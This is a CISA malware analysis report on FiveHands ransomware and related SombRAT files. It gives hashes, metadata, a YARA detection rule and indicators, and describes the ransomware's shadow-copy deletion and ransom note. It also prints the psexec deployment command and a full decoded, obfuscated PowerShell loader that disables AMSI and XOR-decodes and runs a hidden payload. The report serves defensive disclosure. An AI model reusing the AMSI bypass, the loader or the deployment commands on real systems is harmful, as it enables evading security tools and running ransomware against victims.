Malware Analysis Report (AR21-126B)

MAR-10324784-1.v1: FiveHands Ransomware

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Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts by the Cybersecurity and Infrastructure Security Agency (CISA) to provide detailed analysis of 18 malicious files submitted to CISA. Eight of the files are open-source penetration testing and exploitation tools, one file is a new ransomware variant, which CISA refers to as FiveHands. The remaining files are associated with the SombRAT remote access trojan (RAT).

CISA is aware of a recent successful cyberattack against an organization using FiveHands ransomware, SombRAT, and open-source tools to ultimately steal information, obfuscate files, and demand a ransom. For more information, refer to Analysis Report AR21-126A.

CISA is distributing this MAR, which includes suggested response actions and recommended mitigation techniques, to enable network defense and reduce exposure to malicious activity.

For a downloadable copy of IOCs, see: MAR-10324784-1.v1.stix.

Submitted Files (18)

18229920a45130f00539405fecab500d8010ef93856e1c5bcabf5aa5532b3311 (RouterScan.exe)

2703aba98d6ecf0bf0b5aafe70edc4bc14d223a11021990bfb10acf5641d3a12 (ServeManager.exe)

3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef (PsExec.exe)

495a0ccc38fb8f22b48025f030617978cf5fdc3df3fed32b1410ad47747ae177 (rclone.exe)

4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40 (WwanSvc.txt)

5608c12872229acd84f33bf6c667a1b43d112594b2b5f47f923d631bcce6090c (netscan.lic)

5f312e137beb1ce75f8fdf03a59e1b3cba3dc57ccc16e48daee3ee52c08fa149 (s3browser-9-5-3.exe)

7d57e0ba8b36ec221b16807ce4e13a1125d53922fa50c3827a5ebd6811736ffd (grabff.exe)

911a88fe16efca24206f1786242615596e67a9336bc670c1e44a33727987d886 (WwanSvc.c__2)

a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789 (netscan.exe)

a7f5097c0d991c9bbd5f2694ec8c9b484e2ab583d362c42c30556f1271cc8aaa (WwanSvc.a__2)

bfc50bf40aae3b41d77169fba45c332b8c60406b403af647f1bb083918a33b9e (59fb3174bb34e803)

c0a214a60daac6f0ba01ce9128d42bb2d8e81909f4b87963de340ab8627a6b0b (WwanSvc.b__2)

c5a1dbb49ff72a69ac7c52b18e57a21527bc381077b1cea12c3a40e9e98ae6cd (WwanSvc.b)

ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc (WwanSvc.bat)

d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32 (WwanSvc.c)

dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291 (WwanSvc.a)

e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7 (netscan.xml)

Domains (1)

feticost.com

IPs (1)

51.89.50.152

Findings

a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789

Tags

reconnaissance

Details
Name netscan.exe
Size 16539648 bytes
Type PE32+ executable (GUI) x86-64, for MS Windows
MD5 132071dc69b875d239f133984655a26a
SHA1 398d769e0d478175acbdbe9a790b2f6982110e8d
SHA256 a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789
SHA512 d1263b794b7f0061354f60203a8182d5e34d49347708102712e844f06cd74f4d9d49e2a7e43457b5555a77aefba36c129d2fc01bc7955de277dbe1b0f723cf56
ssdeep 393216:2qYAOa2Y/FPGk5oEwxnGNqsnFZur3Ilmsi2e2fkK5:vfN
Entropy 6.000632
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2020-08-06 20:31:49-04:00
Import Hash 4e157a70f40af9369da3829aa8ddec74
Company Name SoftPerfect
File Description Multipurpose IPv4/IPv6 network scanner
Internal Name None
Legal Copyright 2003-2020 SoftPerfect Pty Ltd
Original Filename None
Product Name SoftPerfect Network Scanner
Product Version 7.2.9.0
PE Sections
MD5 Name Raw Size Entropy
ad11d214295fb4d9adbd1a066255e7e8 header 1024 2.500134
fbbeea3396c7ca2cd30104101f97dd27 .text 12265984 5.683312
d425ff242ca206cce40263fb2d78352e .data 1124352 5.248152
d41d8cd98f00b204e9800998ecf8427e .bss 0 0.000000
1e3b134f1ab07c35cd49080aedf68c18 .idata 27648 4.329594
5d470e5b330b899ac683ef2627311ffa .didata 7168 3.476858
452453fac6e2a76251515b28f624b92c .edata 512 1.885498
d41d8cd98f00b204e9800998ecf8427e .tls 0 0.000000
7a90a77855dd773a08f7d918f96281ff .rdata 512 1.435338
16417b0690d1cef091d32e0a12f00e3b .pdata 544768 6.558393
990e366d847735de51e2a9176ecadaec .rsrc 2567680 6.480051
Relationships
a710f573f7... Created e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7
a710f573f7... Related_To 5608c12872229acd84f33bf6c667a1b43d112594b2b5f47f923d631bcce6090c
Description

This artifact is a stand-alone version of the SoftPerfect Network Scanner, version 7.2.9 for 64-bit operating systems. Information from the SoftPerfect website follows:

--Begin information--
"SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders and retrieve practically any information about network devices, via WMI, SNMP, HTTP, SSH and PowerShell. It also scans for remote services, registry, files and performance counters; offers flexible filtering and display options and exports NetScan results to a variety of formats from XML to JSON."
--End information--

The utility can also be used with Nmap for vulnerability scanning. The utility will generate a report of its findings called 'netscan.xml' (e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7).

e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7

Tags

reconnaissance

Details
Name netscan.xml
Size 41200 bytes
Type XML 1.0 document, ASCII text, with CRLF line terminators
MD5 e1c8bb6fa3e7fe03320313e568c796c4
SHA1 1ce6808e65b517b3305f397af868168f3f8cd24b
SHA256 e4b67b8ffcc1ed95d3ff26622ab4c67a329f76bd76d0f523f5986e67969354b7
SHA512 2a1b9d06d9c6c3b607dc1b5bf48645ef4a47adaff4a193ab77cf416505a8eed8104250bff74de68135cdccb883bff517b71f3c469b77dc06a60c53614cbba0bd
ssdeep 384:x7noJi3jCFQU6imIyHc+j8/H/fy/fJ/fq/uIpMfBxakR5NmSN1Sv:RnOQXI+j8/H/fy/fJ/fq/uTf7rNmS2v
Entropy 4.852693
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
e4b67b8ffc... Created_By a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789
Description

This artifact is an Extensible Markup Language (XML) document reporting scanning results for the SoftPerfect Network Scanner program. The XML document indicates that a random scan was conducted to identify hostnames on a network and search for web servers, file servers, database servers as well as search for any open Remote Desktop Protocol (RDP) ports for several subnets of unroutable Internet Protocol (IP) addresses.

5608c12872229acd84f33bf6c667a1b43d112594b2b5f47f923d631bcce6090c

Tags

reconnaissance

Details
Name netscan.lic
Size 807 bytes
Type XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
MD5 49bda214f3c635209d2657ca2d395400
SHA1 55ec058fee5c6eeb0f2a492c444371bc11e2edb8
SHA256 5608c12872229acd84f33bf6c667a1b43d112594b2b5f47f923d631bcce6090c
SHA512 a177596594195f83288b94ee6327e7d76bb7465a7745d43eff20609324ee194816c0aa7dd3580c6992536e28361e4e39fb228bb9f449b0bc427fea9e40303d6d
ssdeep 12:TMGBMWHA+1llfFNKNu9Mdhy96v7C61mnKb3vEjycE1IKV7X5ThQaisyoMkZtE/jQ:3BMY5jPMdnGpKL8cVr5TyoFXmYdz
Entropy 5.985489
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
5608c12872... Related_To a710f573f73c163d54c95b4175706329db3ed89cd9337c583d0bb24b6a384789
Description

To unlock all of the features of the SoftPerfect Network Scanner, a license is required. This artifact is the Network Scanner license that was included with this submission. The license name is 'DeltaFoX'.

3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef

Tags

trojanutility

Details
Name PsExec.exe
Size 339096 bytes
Type PE32 executable (console) Intel 80386, for MS Windows
MD5 27304b246c7d5b4e149124d5f93c5b01
SHA1 e50d9e3bd91908e13a26b3e23edeaf577fb3a095
SHA256 3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef
SHA512 bec172a2f92a95796199cfc83f544a78685b52a94061ce0ffb46b265070ee0bcc018c4f548f56018bf3ff1e74952811b2afb6df79ab8d09f1ec73c9477af636b
ssdeep 3072:Yao79VuJ6titIi/H7ZUFgllxiBD+P5xWr3geNtdS+DlGttzhA9HY4ZUFxPkwlmlP:YaSq4TBWISSTgu7DlGtEC1xn/O5r4S
Entropy 6.384233
Antivirus
Filseclab Trojan.Generic.dlwa
Sophos App/PsExec-Gen
YARA Rules

No matches found.

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2016-06-28 14:43:09-04:00
Import Hash c1e59519b5e5d84af07afa6f5a8625f1
Company Name Sysinternals - www.sysinternals.com
File Description Execute processes remotely
Internal Name PsExec
Legal Copyright Copyright (C) 2001-2016 Mark Russinovich
Original Filename psexec.c
Product Name Sysinternals PsExec
Product Version 2.2
PE Sections
MD5 Name Raw Size Entropy
7cfa223c41f292fcbcf6b4bc2450b9d8 header 1024 2.762995
c9b5782085d470d0c2311dc4aaa3e135 .text 99840 6.586757
c584cc8d01770f418f361866f1875866 .rdata 59392 4.596671
5172fd3fffd89c75d05b1f62ba527455 .data 9216 2.182345
bfbb6b1ebaff1f3ff6874d8100f7a64b .rsrc 147456 6.378895
71d427456a8bd35b3821f185880b287a .reloc 6144 6.631418
Packers/Compilers/Cryptors
Microsoft Visual C++ ?.?
Description

This artifact is the legitimate remote administration program, called psexec.exe. This tool is part of Microsoft's Sysinternals tool suite. This utility was used to execute the program ServeManager.exe with the following arguments:

---Begin Command Line Arguments---
psexec.exe -d @comps.txt -s -relatime -c ServeManager.exe -key xxxxxxxxxxxxxxxx
---End Command Line Arguments---

The above arguments are defined as follows:

---Begin Argument Definitions---
-d --> Run psexec.exe without any prompts.
@ --> Remotely access this list of hostnames/IP addresses.
-s --> Run the program with system level privileges.
-relatime --> This is a typo. This should be -realtime, or run this process before any other process.
-c --> Copy the program to the remote system before executing.
---End Argument Definitions---

2703aba98d6ecf0bf0b5aafe70edc4bc14d223a11021990bfb10acf5641d3a12

Tags

dropperobfuscatedtrojan

Details
Name ServeManager.exe
Size 253456 bytes
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 c095498fc44d680ad8b4efeb014d339f
SHA1 ad571ef3c255c8806a09d50ac504cf4bfce8aca0
SHA256 2703aba98d6ecf0bf0b5aafe70edc4bc14d223a11021990bfb10acf5641d3a12
SHA512 029202e8a32f36b8496bb4a09525fa372feec264e9cf1864f469676b7e1560b2bc7917e7799636de8d2e7df7f568e9418c49ac9fa3f1aba91ececd138bcacb51
ssdeep 6144:tVgUc9JwBsHC/WwblTClkO0hoS19E42nXkBIC:t09WBsH2WwbFCeO0X6XjC
Entropy 7.609914
Antivirus
Ahnlab Malware/Win32.Trojan
Bitdefender Gen:Variant.Zusy.375932
ESET a variant of Win32/Filecoder.DeathRansom.F trojan
Emsisoft Gen:Variant.Zusy.375932 (B)
Ikarus Trojan-Ransom.DeathRansom
K7 Riskware ( 0040eff71 )
Lavasoft Gen:Variant.Zusy.375932
Microsoft Security Essentials Ransom:Win32/FileCryptor.PAC!MTB
NANOAV Trojan.Win32.Redcap.itrfgt
Systweak malware.generic
VirusBlokAda Trojan.Tiggre
Zillya! Trojan.Filecoder.Win32.18232
YARA Rules
  • rule CISA_10324784_01 : ransomware trojan loader FIVEHANDS
    {
       meta:
           Author = "CISA Code & Media Analysis"
           Incident = "10324784"
           Date = "2021-03-23"
           Last_Modified = "20210323_1100"
           Actor = "n/a"
           Category = "Ransomware Trojan Loader"
           Family = "FIVEHANDS"
           Description = "Detects Five Hands Ransomware Loader"
           MD5_1 = "c095498fc44d680ad8b4efeb014d339f"
           SHA256_1 = "2703aba98d6ecf0bf0b5aafe70edc4bc14d223a11021990bfb10acf5641d3a12"
       strings:
           $s0 = { 2D 00 6B 00 65 00 79 }
           $s1 = "GetCommandLineW"
           $s2 = "CommandLineToArgvW"
           $s3 = { 81 39 50 45 00 00 }
           $s4 = { B9 4D 5A 00 00 }
           $s5 = { 8B C3 C1 E8 10 83 E9 10 0F B6 C0 }
           $s6 = { 8B CA C1 E9 08 0F B6 D1 8B 4D F0 C1 E9 10 0F B6 C9 }
           $s7 = { 8B 3C 96 03 F9 33 F6 }
           $s8 = { 85 C0 74 02 FF D0 }
       condition:
           all of them
    }
ssdeep Matches

No matches found.

PE Metadata
Compile Date 2021-01-19 02:05:55-05:00
Import Hash 8517cf209c905e801241690648f36a97
PE Sections
MD5 Name Raw Size Entropy
f5922d8b7fdbacccee657c9937f420c0 header 1024 2.699721
69651f6a58de87e3d888a2a5260db050 .text 68608 6.686025
174a90746e521c22a6d696e5c1f071ee .rdata 27648 5.194163
b3d0dd819218729fc349c63ce16b6252 .data 2560 2.221845
bd90dc8684f5b3e44d9b014e286e1319 .rsrc 512 4.710061
4c6042cddd17092933f1f367920cc3b6 .reloc 5120 6.461440
Packers/Compilers/Cryptors
Microsoft Visual C++ ?.?
Description

This artifact is a 32-bit executable file that is executed using the Microsoft Sysinternals remote administration tool, psexec.exe. When the program is executed it will attempt to load into memory a large embedded module that is decoded with a supplied key, 'xxxxxxxxxxxxxxxx'. The module is decoded in memory and checked to verify that it has a PE header. If the header is verified, the payload is executed.

The payload is a 32-bit executable file that is used to encrypt files on the victim’s system to extort a ransom. When the ransomware is executed, it will enumerate files and folders on the system and encrypt files with the extensions, .txt, .chm, .dat, .ocx, .js, .tlb, .vbs, .sys, .lnk, .xml, .jpg, .log, .zip, .htm, .ini, .gif, .html, .css, and others. Key system files are not encrypted.

The ransomware uses a public key encryption scheme called "NTRUEncrypt". To thwart the recovery of the data, it uses Windows Management Instrumentation (WMI) to enumerate Volume Shadow copies using the command “ select * from Win32_ShadowCopy” and then deletes copies by ID (Win32_ShadowCopy.ID). The malware will also encrypt files in the recovery folder at C:\Recovery. After the files are encrypted the program will write a ransom note to each folder and directory on the system called ‘read_me_unlock.txt’. The following is the content of the ransom note:

---Begin Ransom Note---
Hello, you were hacked, and your files were encrypted. ! Do not try to change the file extensions yourself, it may result in an error during decryption! Contact us and we can solve it all.

If you start an independent recovery, or contact the police and other authorities, we will continue, but this time for all your clients. We also want to assure you of our seriousness, in case of refusal from the dialogue, we will use not one, 0 day, but several, also your source codes will be sold from auctions in 5 hands.

Email contact: xxxxxxxxxxxx[@]protonmail.com

OR

-- Contact with us by method below
1) Open this website in TOR browser: hxxp[:]//xxxxxxxxxxxxxxxx.onion/xxxxxxxxxxxxxxxxxxxx
2) Follow instructions in chat.
---End Ransom Note---

ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc

Tags

backdoorloadertrojan

Details
Name WwanSvc.bat
Size 247 bytes
Type DOS batch file, ASCII text, with CRLF line terminators
MD5 1f6495ea7606a15daa79be93070159a8
SHA1 fdf9b1098480dd4145d7d39dc1b75fb6180e09ec
SHA256 ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc
SHA512 55abb0a936c3631e424748085b353e67ca8209006e92365c3fd3f256569f05ae99efeff818d1eefabba47fb11f59644c0e926027c30fbe076eee4dd899013815
ssdeep 6:hsQLpjR9nyDzLgyKBM3S1R1KCsu2xKRYPdpVjku5HjJVGnyn:CQdjR9nYLgyaIS1PKC2l1pVh5HjJsny
Entropy 5.360619
Path C:\ProgramData\Microsoft\WwanSvc\
Antivirus
Ahnlab Backdoor/BAT.Runner
Microsoft Security Essentials Trojan:BAT/Somrat
YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
ccacf4658a... Used 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40
Description

This artifact is a batch file. When executed it will invoke PowerShell, which decodes and executes a base64 encoded PowerShell script called "WwanSvc.txt" (4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40) in the path C:\ProgramData\Microsoft\WwanSvc\.

4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40

Tags

loaderobfuscated

Details
Name WwanSvc.txt
Size 9838 bytes
Type ASCII text, with very long lines, with CRLF line terminators
MD5 3c3770c42665416a9b3f2deda1056aed
SHA1 b93122942f58693936f060224d1b798ff23fe547
SHA256 4de1bd4b1bb28ed0897b9d3c5d16a4b1442c7f53cb389cbed82af189696d3f40
SHA512 b9a04d2109746c37f73f1d651532e8ccf63b21756a9da920b0aab331deb9ad5c506e7a856e137a7965ec11c7742940583d5c197d7e472b23eb9c59476d9be9ae
ssdeep 192:ZxFpwcjL3ceUZQR2Z1Pgk4HxE8TDEGJ5PWJ/LVkZCfjDR5CBtDKLODZAaxeS9gNm:ZxFpjMeUiygk4HyiHvujSZCbstuCrg0v
Entropy 5.663394
Path C:\ProgramData\Microsoft\WwanSvc\
Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Relationships
4de1bd4b1b... Used dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291
4de1bd4b1b... Used d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32
4de1bd4b1b... Used_By ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc
Description

This artifact is a Base64 encoded PowerShell script that is decoded and executed by WwanSvc.bat (ccacf4658ae778d02e4e55cd161b5a0772eb8b8eee62fed34e2d8f11db2cc4bc). The decoded content of the file follows:

---Begin Decoded PowerShell Script---

Function ge`T-proCad`dreSS
{
Param
(
[OutputType([IntPtr])]

[Parameter( poSITion = 0, MAnDAToRY = ${t`RuE} )]
[String]
${mo`DUlE},

[Parameter( PosITion = 1, MAnDatoRy = ${TR`Ue} )]
[String]
${PRo`CED`UrE}
)

${sYsT`e`mAsSE`mbly} = [AppDomain]::"cUrr`eN`Tdo`maIN"."g`EtasS`emblieS"() | W`He`Re-ObJECt { ${_}."GL`OBA`LAs`sEm`Bl`ycAcHE" -And ${_}."LOCA`T`IOn"."s`plIT"((('{0}{0}') -f [ChAR]92))[-1]."eQU`Als"(('Sys'+'tem.dl'+'l')) }
${uNs`AFe`N`ATiV`emethoDs} = ${s`yStEM`ASS`E`mbLY}."Getty`pe"(('Mic'+'roso'+'ft.'+'Win'+'32.U'+'nsafeN'+'at'+'i'+'ve'+'Methods'))

${g`eTmo`DuLE`Han`d`LE} = ${uNSAF`E`NAtIVE`Met`H`O`ds}."gE`TmethOd"(('G'+'etModule'+'Hand'+'le'))
${G`EtpROCa`d`dre`sS} = ${unS`AFEnA`T`iVEmE`ThoDs}."g`ETMe`THoD"(('GetPr'+'oc'+'Addr'+'ess'), [reflection.bindingflags] ('Publi'+'c,Sta'+'t'+'i'+'c'), ${n`UlL}, [System.Reflection.CallingConventions]::"A`Ny", @((NE`w-OBj`ECT ('S'+'y'+('ste'+'m'+'.R')+('un'+'time'+'.Int')+'er'+('op'+'Se')+'r'+'v'+('ice'+'s.Han'+'d')+('le'+'R')+'ef'))."G`ettYPe"(), [string]), ${N`ULl});

${KErN`3`2`HA`NDLe} = ${gEtMoD`U`leha`NDLE}."in`VOkE"(${nu`ll}, @(${m`OdU`lE}))
${t`M`pPTr} = ne`w-`obJEcT (('IntP'+'t')+'r')
${H`A`N`dLERef} = N`eW-OB`je`cT ('Sy'+'s'+'te'+('m'+'.'+'Runt')+'i'+('m'+'e.Inte'+'rop'+'Se'+'rvices.Ha')+('n'+'dl')+('eRe'+'f'))(${tM`pP`TR}, ${K`ERn32H`AnD`Le})

Wr`ItE-ouTP`UT ${gETp`RO`c`AdDRE`Ss}."i`N`VOke"(${nu`LL}, @([System.Runtime.InteropServices.HandleRef]${h`A`Ndle`REF}, ${Pro`Ced`Ure}))
}


Function G`E`TdELtYPE
{
Param
(
[OutputType([Type])]

[Parameter( POSItion = 0)]
[Type[]]
${Pa`R`AMeT`eRs} = (New-`oB`ject (('T'+'ype')+'[]')(0)),

[Parameter( poSitIon = 1 )]
[Type]
${rE`T`UrntYpE} = [Void]
)

${d`OmaIN} = [AppDomain]::"cUrRenTdOM`A`In"
${DYN`AssE`mBLY} = NEW`-oBje`CT ('S'+'y'+('stem.'+'Re'+'fl')+('ec'+'ti')+('on.'+'As')+('s'+'emb')+('l'+'yN')+('a'+'me'))(('Ref'+'lec'+'ted'+'De'+'leg'+'ate'))
${AssEM`Bl`y`BU`ild`Er} = ${d`OMa`IN}."defiNED`yNa`Mi`C`ASs`eM`Bly"(${DY`NasSEmB`lY}, [System.Reflection.Emit.AssemblyBuilderAccess]::"r`Un")
${mOD`UL`EBUil`dEr} = ${AsSemBlyB`Ui`Ld`ER}."DeF`I`NE`dynA`MicmoD`UlE"(('InMe'+'m'+'ory'+'Mo'+'dule'), ${F`Alse})
${T`yP`eB`UiLdeR} = ${m`oDuleBUILD`eR}."dEfIn`Et`Ype"(('md'+'elty'+'pe'), ('Class, Public'+', Sealed, '+'Ans'+'i'+'C'+'lass, '+'A'+'u'+'toC'+'la'+'s'+'s'), [System.MulticastDelegate])
${CON`sTR`UctOR`BuILdeR} = ${TypE`Bui`ld`er}."De`FiN`ECoNs`TrucT`OR"(('RT'+'Special'+'Na'+'me'+', HideBySi'+'g'+', Publi'+'c'), [System.Reflection.CallingConventions]::"s`TANda`Rd", ${PArame`Te`Rs})
${construc`T`o`RbUi`LdER}."sEt`I`MpLeMEnTA`TiON`Flags"(('Runti'+'me'+','+' Managed'))
${m`Eth`od`BUI`ldEr} = ${T`YPEB`U`iLdER}."dE`FiN`eMeT`hOD"('Invoke', ('Pu'+'blic, '+'Hid'+'eBy'+'Sig,'+' New'+'S'+'l'+'ot, '+'V'+'irtual'), ${RETUr`Nt`yPe}, ${par`AMET`ErS})
${M`e`ThODbui`lDeR}."S`eti`mplEmEnTAT`ioNf`lAGs"(('Runti'+'me,'+' Man'+'a'+'g'+'ed'))

w`RiTe-`oUtPUt ${t`YP`eBu`IlDEr}."cr`E`AtETy`Pe"()
}

Function g`EtW32
{
${W`32} = New`-oBje`cT (('Sy'+'s')+('tem.O'+'bje')+'ct')

${Vp`A`dDR} = Ge`T-pr`OCaddRess (('ke'+'rn')+'el'+('32'+'.d'+'ll')) ('V'+('i'+'rtu'+'alPr')+'o'+('tec'+'t'))
${VpD`el} = gEt`D`elT`Ype @([IntPtr], [UIntPtr], [UInt32], [UInt32]."mA`K`EbyR`e`FType"()) ([Bool])
${V`p} = [System.Runtime.InteropServices.Marshal]::"gETD`ElEgAte`FORfUnCTI`oNP`oINt`Er".Invoke(${VP`Ad`dR}, ${v`PDEL})
${W`32} | aD`d-`m`eMbEr (('Not'+'e')+('Pr'+'oper')+'t'+'y') -Name (('V'+'irtu')+'al'+('P'+'ro'+'tec')+'t') -Value ${v`P}

${wPM`AdDr} = gE`T`-P`ROc`AddRess (('ke'+'rne')+('l3'+'2')+('.d'+'ll')) ('W'+('r'+'ite')+'P'+('ro'+'ce')+('s'+'sM')+('e'+'mory'))
${W`Pmdel} = GeT`d`eLTyPE @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr]."MAkE`ByrEFT`YpE"()) ([Bool])
${w`pM} = [System.Runtime.InteropServices.Marshal]::"GE`Tdel`egATE`FoR`FUNc`T`i`OnPOiNTER".Invoke(${WP`mA`Ddr}, ${WP`m`del})
${W`32} | AD`d`-member -MemberType (('No'+'t')+'eP'+('rop'+'er')+'ty') -Name ('Wr'+'it'+('eP'+'r')+'o'+('ce'+'s'+'sMemory')) -Value ${W`Pm}

${GETMoDu`L`e`Ha`NdLeAdDR} = g`Et-pROCAdd`R`eSS (('ker'+'n')+'e'+'l'+('32'+'.'+'dll')) ('Ge'+'t'+('M'+'od')+('u'+'le')+('Ha'+'ndl'+'eA'))
${gET`Mo`dUleHa`N`dLEDELegAte} = geT`DELT`Y`pE @([String]) ([IntPtr])
${Get`moDU`leH`ANDLE} = [System.Runtime.InteropServices.Marshal]::"GET`DElEGATEFor`F`U`N`CtION`POi`NTeR".Invoke(${GeTmod`U`LeHa`NdL`eAddr}, ${ge`T`Mo`DUlEhAN`Dled`eLeGAte})
${W`32} | Add-Me`mB`ER ('No'+('te'+'P'+'rop')+('er'+'ty')) -Name (('Get'+'M')+'od'+('ule'+'Han'+'dle')) -Value ${g`et`MoDUL`EH`ANDlE}

${GEtpr`Oc`ADdRessA`DdR} = gEt-pR`o`C`ADDrE`sS (('k'+'er')+'ne'+('l32'+'.')+('d'+'ll')) ('Ge'+'t'+('P'+'ro')+'cA'+('ddr'+'ess'))
${gEt`ProCADDRE`SSdE`LegA`Te} = GEtD`eLT`y`pe @([IntPtr], [String]) ([IntPtr])
${Get`prOcaDd`R`ESS} = [System.Runtime.InteropServices.Marshal]::"GET`d`ElEgAT`E`FORfUNct`Io`N`pO`inTeR".Invoke(${GeTpROCA`Ddr`e`S`Sa`DDr}, ${geTp`RoCadD`R`EssDeLEG`ATe})
${w`32} | ADD`-m`EmBer -MemberType ('No'+'te'+('P'+'ro')+('pe'+'rty')) -Name (('G'+'et')+'P'+('rocAd'+'dre')+'s'+'s') -Value ${Ge`Tp`ROCaDDrE`SS}

${mE`Mc`py`AdDr} = Ge`T-pR`oC`Add`REss ('ms'+('vc'+'rt.')+('d'+'ll')) (('m'+'em')+('c'+'py'))
${MeM`c`pydeLE`GatE} = g`et`DeLtyPE @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
${M`EmcpY} = [System.Runtime.InteropServices.Marshal]::"Ge`TDelegATEfOrf`UnC`TiONP`OINT`Er".Invoke(${m`EmCPY`Ad`DR}, ${me`Mcpy`de`legatE})
${W`32} | aDd-M`eMb`ER -MemberType (('No'+'t')+'e'+('P'+'ro')+('pert'+'y')) -Name ('me'+'m'+('cp'+'y')) -Value ${ME`mc`pY}


return ${W`32}
}


[UInt32]${O`LdPrOtectFl`Ag} = 0
${W`i`N32} = GEt`W32
${a`mSi} = ${W`in32}."G`Et`mODulehA`Ndle"."iNvO`KE"(('ams'+'i'+'.dll'))
if (${aM`Si} -ne 0) {
${P`ROC} = ${w`in`32}."G`etPROCAD`dr`ess"."In`Vo`kE"(${a`MSI}, ('A'+'m'+'s'+'iScanB'+'uffer'))
if (${P`Roc} -ne 0) {
if ([IntPtr]::"sI`zE" -eq 8) {
${paT`cH} = @( 0x48, 0x31, 0xC0, 0xC3 )
} else {
${pAT`Ch} = @( 0x31, 0xC0, 0xC3 )
}

${r`es} = ${wI`N`32}."Vi`RtUaLpRoT`E`CT"."I`NVoKE"(${P`RoC}, [UInt32]${pA`TcH}."LEn`GTH", 0x40, [Ref]${OldproT`e`c`TF`Lag})
if (${R`Es} -ne 0)
{
for (${Of`Fs`et} = 0; ${offs`ET} -lt ${PAt`cH}."lENg`Th"; ${oFF`s`Et}++)
{
   [System.Runtime.InteropServices.Marshal]::"Wr`iT`EbY`Te".Invoke(${P`Roc}, ${Of`FseT}, ${p`AT`cH}[${OfFs`ET}]);
}
}
}
}

${Dat`A0}= [IO.File]::"r`eA`dAl`LbyTES".Invoke((('C:pk'+'Wp'+'rogramda'+'t'+'apkWMic'+'r'+'osoft'+'p'+'kWWw'+'an'+'S'+'v'+'c.a').REplACe(([ChAR]112+[ChAR]107+[ChAR]87),'\')))
${dA`Ta1}= [IO.File]::"reA`DAlL`Byt`eS".Invoke((('C:F'+'zCprog'+'r'+'amdat'+'aF'+'zCMi'+'cros'+'o'+'f'+'t'+'FzCW'+'wanSvc'+'.c') -replACe([chaR]70+[chaR]122+[chaR]67),[chaR]92))

for(${i}=0; ${I} -lt ${Da`TA1}."COu`Nt" ; ${i}++) { ${da`T`A1}[${I}] = (${dAT`A1}[${I}] -bxor ${dA`TA0}[${i} % ${D`A`TA0}."cO`UNT"])}
${d`A`Ta1} = [System.Text.Encoding]::"ASc`iI"."g`ets`Tring"(${Da`TA1})

try { ${L}=[Ref]."AS`s`EMBlY"."GE`TT`YPE"(('Sy'+'stem.M'+'anagem'+'en'+'t.A'+'uto'+'m'+'ation.A'+'m'+'siU'+'t'+'ils')); if (${L} -ne 0) { ${f}=${L}."gET`FiEld"(('amsi'+'Ini'+'tF'+'ailed'),('NonPub'+'l'+'i'+'c,Static')); if (${f} -ne 0) { ${F}."sET`V`ALUE"(${nu`lL},${TR`UE}); wrI`TE`-HosT ('k') }; }; WritE-H`o`st "." } catch { Wri`TE-`HOst ${_} }

I`Nvo`Ke-E`xPRe`SS`ion -Command ${D`ATA1}
---End Decoded PowerShell Script---

The script allows PowerShell to run without system restrictions while bypassing the Microsoft Antimalware program. Next, the script decodes the file "WwanSvc.c" (d3d5e5a8a40f34fc8d89b2d74d89a4b101d8b95a79e990e3b4161282aa6aca32) using a bitwise Exclusive OR (XOR) with a 256 byte key that is found in WwanSvc.a (dec8655cdd7214daf9579ef481d0b0c6ed8120c120d3bd8ec27cb6e1874eb291). Both WwanSvc.a and WwanSvc.c are located in C:\ProgramData\Microsoft\. The newly decoded script is then executed using the InvokeExpression command.

